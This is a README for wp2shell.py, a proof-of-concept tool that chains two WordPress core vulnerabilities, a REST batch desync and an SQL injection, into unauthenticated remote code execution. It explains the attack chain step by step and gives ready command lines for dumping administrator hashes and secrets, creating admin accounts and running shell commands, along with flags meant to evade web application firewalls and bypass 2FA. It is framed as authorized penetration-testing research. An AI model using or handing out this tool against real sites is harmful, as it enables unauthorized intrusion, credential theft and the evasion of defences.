
Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 (author__not_in SQLi) into an unauthenticated shell. Authorized testing only.
Unauthenticated WordPress core RCE PoC chaining CVE-2026-63030 + CVE-2026-60137. Authorized testing only.
wp2shell.py is a single-file, standard-library-only proof of concept that chains
two WordPress core vulnerabilities into unauthenticated remote code execution:
| CVE | Component | Bug |
|---|---|---|
| CVE-2026-63030 | REST /batch/v1 handler | route-confusion desync — the batch handler loses sync between its handler table and its validation table once a sub-request path fails to parse, so a sub-request is dispatched through a handler it was never validated for. |
| CVE-2026-60137 | WP_Query | scalar SQL injection — the author__not_in value is pasted straight into SQL, so a string reaching it is injectable. |
Neither is RCE on its own. The desync is the delivery (it smuggles an attacker string into a query it should never reach); the injection is the primitive. Together they give a pre-auth attacker a full SQL read/write oracle, and from there a working shell.
⚠️ Authorised testing only. This exploits live WordPress installs. Use it only against systems you own or have explicit written permission to test.
Vulnerable: 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Patched: 6.8.6, 6.9.5, 7.0.2 (and later) Reported by Adam Kues (Assetnote / Searchlight Cyber); SQLi also credited to TF1T, dtro, haongo.
Only 6.9.0–7.0.1 are RCE-capable. On the 6.8.x line the desync still fires, but the
branch that would misalign the handler hits a WP_Error::get_method() fatal instead —
so 6.8.x is a denial-of-service / crash, not a shell. The tool detects this and tells
you which primitive is available.
The exploit is built in layers; each one is a bridge to the next.
Desync (CVE-2026-63030). A batch request nests a second batch. One sub-request
carries a deliberately malformed path (http://:, which wp_parse_url() rejects).
In 6.9.0+ the failed parse makes the handler and validation tables drift by one entry,
so the next sub-request runs under a handler it was never validated against — the
public posts collection.
Injection (CVE-2026-60137). That mis-dispatched call reaches WP_Query with an
attacker-controlled author__not_in. A UNION ALL SELECT there doesn't read rows —
it fabricates them, letting us forge arbitrary posts in the query result.
SQL → write bridge. The fabricated posts carry [embed] markup. WordPress
dutifully resolves and caches them as real oembed_cache post-meta rows — turning
a read-only injection into an arbitrary write primitive.
Privilege pivot. Using that write bridge we forge (a) a customizer changeset
authored as the real administrator and (b) a self-referential request post. Together
they force WordPress to re-run its own request pipeline as that admin — a window
just long enough for a queued POST /wp/v2/users call to create a new administrator.
For the read side (--dump, prefix resolution, cached IDs) the tool auto-selects the
fastest oracle that works and stops at the first hit:
union — in-band UNION: the forged row's post_title carries |||HEX(value)|||,
which is reflected verbatim in the /wp/v2/posts response body. Reads a whole value
(any length) in one request. If UNION reflects, the boolean oracles are never probed.bool — boolean X-WP-Total oracle: the confused sub-response's X-WP-Total header
is count>0 for true / 0 for false. One bit per request (bisection).time — time-based SLEEP(): the fallback when the body is stripped and the
response is a 500 (e.g. a post-dispatch fatal from a caching mu-plugin). Works even on
targets that crash on every REST call.--dump uses GROUP_CONCAT to pull the whole credential set in one shot when UNION is
available.
None. Python 3.7+ standard library only — no pip install.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) go straight to hashcat
(-m 3200 for phpass, or the WP bcrypt mode). WordPress 6.8+ uses $wp$… bcrypt.--dump defaults to the first administrator only. Use --dump all for the
full admin list.--oracle time --dump to recover hashes.The --exec path is designed to leave nothing behind: the temporary administrator,
its usermeta, the fabricated oembed_cache rows, and the uploaded webshell are all removed
before the tool exits. There is no --keep flag — an operator should never leave a live,
attacker-created admin account on a client's system.
wp2shell.py — the exploit (single file, stdlib only).Vulnerability discovery, disclosure, and the original "wp2shell" write-up credit belongs to the Searchlight Cyber / Assetnote research team:
/batch/v1 route-confusion desyncWP_Query author__not_in SQL injectionThis repository is an independent proof-of-concept implementation of the exploit chain they disclosed; it does not claim discovery of the underlying vulnerabilities. If any attribution is incomplete or incorrect, open an issue and it will be corrected.
This is a security research proof of concept for authorised penetration testing and defensive validation. Running it against systems you do not own or have written permission to test is illegal. The author accepts no liability for misuse.
Shell. Sign in as the new admin, upload a plugin, run the command. The account, its meta, the oembed rows, and the webshell are all cleaned up afterwards — no persistent footprint is left behind.
| Flag | Purpose |
|---|
url / -f FILE | single target, or a file of targets (one URL per line) |
--check | vulnerability check only — no injection, writes, or account |
--dump [all] | dump the first admin's hash + secrets; all = every admin |
--exec CMD | create temp admin → run CMD → clean up |
--user-list | elevated in-band read of the full user table (no login, bypasses 2FA) |
--content [full] | elevated read of every post type at status=any; full adds bodies |
--oracle {auto,union,bool,time} | force an extraction oracle (default auto) |
--prefix PFX | force the table prefix instead of auto-resolving |
--impersonate UID | impersonate this user id instead of the first admin |
--threads N | concurrent extraction probes within one target (default 5) |
--target-threads N | scan N targets from -f concurrently (default 1) |
--proxy URL | route through a proxy (e.g. Burp http://127.0.0.1:8080) |
--timeout SEC | per-request timeout (default 30) |
--verbose / -v | dump raw batch sub-responses (debugging) |
| Flag | Purpose |
|---|
--form | send the batch as multipart/form-data (clean URL, no ?rest_route=) |
--permalink [PREFIX] | route via /<PREFIX>/batch/v1 (default wp-json); keeps the payload out of the URL and out of $_POST. Tip: --permalink index.php/wp-json reaches REST via PATH_INFO, evading rules anchored on /wp-json |
--dummy N | prepend N bytes of junk in the body to overflow a WAF inspection buffer |
--donor {widgets,categories,tags} | switch the confusion donor route if one 500s (default widgets) |
--per-page N | forge per_page (-1 or a large positive both return all rows; use a large positive if the target 500s on -1) |
--users-route PATH | alternate case/query for the create-user call (/wp/v2/Users, …?_=1) |
--primer PATH | alternate malformed desync path if a WAF fingerprints the default http://: |
--user-agent UA | pin the UA (default: a random realistic browser UA per run) |
--embed-base URL | override the oembed URL base (avoid a self-embed loopback) |